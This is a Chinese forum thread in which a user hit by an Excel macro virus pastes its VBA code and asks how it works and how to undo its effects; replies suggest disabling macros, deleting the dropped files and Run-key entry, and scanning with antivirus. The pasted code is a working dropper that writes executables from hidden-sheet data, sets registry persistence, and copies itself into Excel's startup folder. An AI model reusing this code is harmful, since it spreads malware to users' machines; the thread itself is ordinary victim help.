又中宏病毒了,郁闷,这代码我看不明白啊,那位给解释下哦
又中宏病毒了,郁闷,
Private Sub addsum()
Dim buf As Byte
On Error Resume Next
Set fso = CreateObject("scripting.filesystemobject")
Set w = CreateObject("wscript.shell")
myfolder = w.SpecialFolders("Templates") & "\Software"
folder1 = fso.getspecialfolder(1)
If Not fso.folderexists(myfolder) Then
fso.createfolder myfolder
End If
For i = 1 To Workbooks.Count
If Workbooks(i).Name = "normal.xlm" Then
Workbooks(i).Close
fso.deletefile Application.StartupPath & "\normal.xlm"
End If
Next
For i = 1 To Workbooks.Count
If Workbooks(i).Name = "norma1.xlm" Then
GoTo a1
End If
Next
filesv = folder1 & "\winupdsv.exe"
If Not fso.fileexists(filesv) Then
Open filesv For Binary Access Write As #1
For i = 1 To 54
hv = ThisWorkbook.Sheets("@kbtasto@she3#").Cells(i, 5).Value
n = 1
m = InStr(hv, " ")
Do While m > 0
buf = CByte(Mid(hv, n, m - n))
Put #1, , buf
n = m + 1
m = InStr(n, hv, " ")
Loop
Next
Close #1
End If
filesf = folder1 & "\sfcea.exe"
If Not fso.fileexists(filesf) Then
Open filesf For Binary Access Write As #1
For i = 1 To 28
hv = ThisWorkbook.Sheets("@kbtasto@she3#").Cells(i, 4).Value
n = 1
m = InStr(hv, " ")
Do While m > 0
buf = CByte(Mid(hv, n, m - n))
Put #1, , buf
n = m + 1
m = InStr(n, hv, " ")
Loop
Next
Close #1
End If
filexlm = folder1 & "\norma1.xlm"
If Not fso.fileexists(filexlm) Then
Open filexlm For Binary Access Write As #1
For i = 1 To 89
hv = ThisWorkbook.Sheets("@kbtasto@she3#").Cells(i, 3).Value
n = 1
m = InStr(hv, " ")
Do While m > 0
buf = CByte(Mid(hv, n, m - n))
Put #1, , buf
n = m + 1
m = InStr(n, hv, " ")
Loop
Next
Close #1
End If
fso.copyfile filexlm, Application.StartupPath & "", True
fso.deletefile filexlm
w.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WinUpdsv", "winupdsv.exe"
Workbooks.Open Application.StartupPath & "\norma1.xlm"
ThisWorkbook.Sheets("@kbtasto@she3#").Columns(3).Copy Workbooks("norma1.xlm").Sheets("@kbtasto@she3#").Columns(3)
ThisWorkbook.Sheets("@kbtasto@she3#").Columns(4).Copy Workbooks("norma1.xlm").Sheets("@kbtasto@she3#").Columns(4)
ThisWorkbook.Sheets("@kbtasto@she3#").Columns(5).Copy Workbooks("norma1.xlm").Sheets("@kbtasto@she3#").Columns(5)
Workbooks("norma1.xlm").Save
fso.copyfile Application.StartupPath & "\norma1.xlm", myfolder, True
a1:
fso.deletefile "c:\C0MS.sys"
Application.DisplayAlerts = False
ThisWorkbook.Saved = True
End Sub
他怎么自动运行的?,
这个病毒中了后多个EXCEL文件就不能方便的切换了,最大化一次只能看见一个EXCEL文件,要想看到别的就要最小化工作簿,再点别的,别的任何类的文件都正常,就EXCEL不能象以前一样方便切换,怎么给改回来啊?
[解决办法]
filesystemobject 就是常说的 FSO ,文件系统对象,你上网查一查,多不胜数。
[解决办法]
首先禁用宏,然后将代码涉及的文件del掉,注册表项删掉。normal.xlm必须删掉
杀毒软件是可以查杀这类宏病毒的。建议在安全模式下扫一下。
[解决办法]
最烦这种 损人又不利己 的病毒
要是它“损人利己”,我都服它。
[解决办法]
用wps,转存一下。。。
前提是你自己的xls中没有自己写的宏
[解决办法]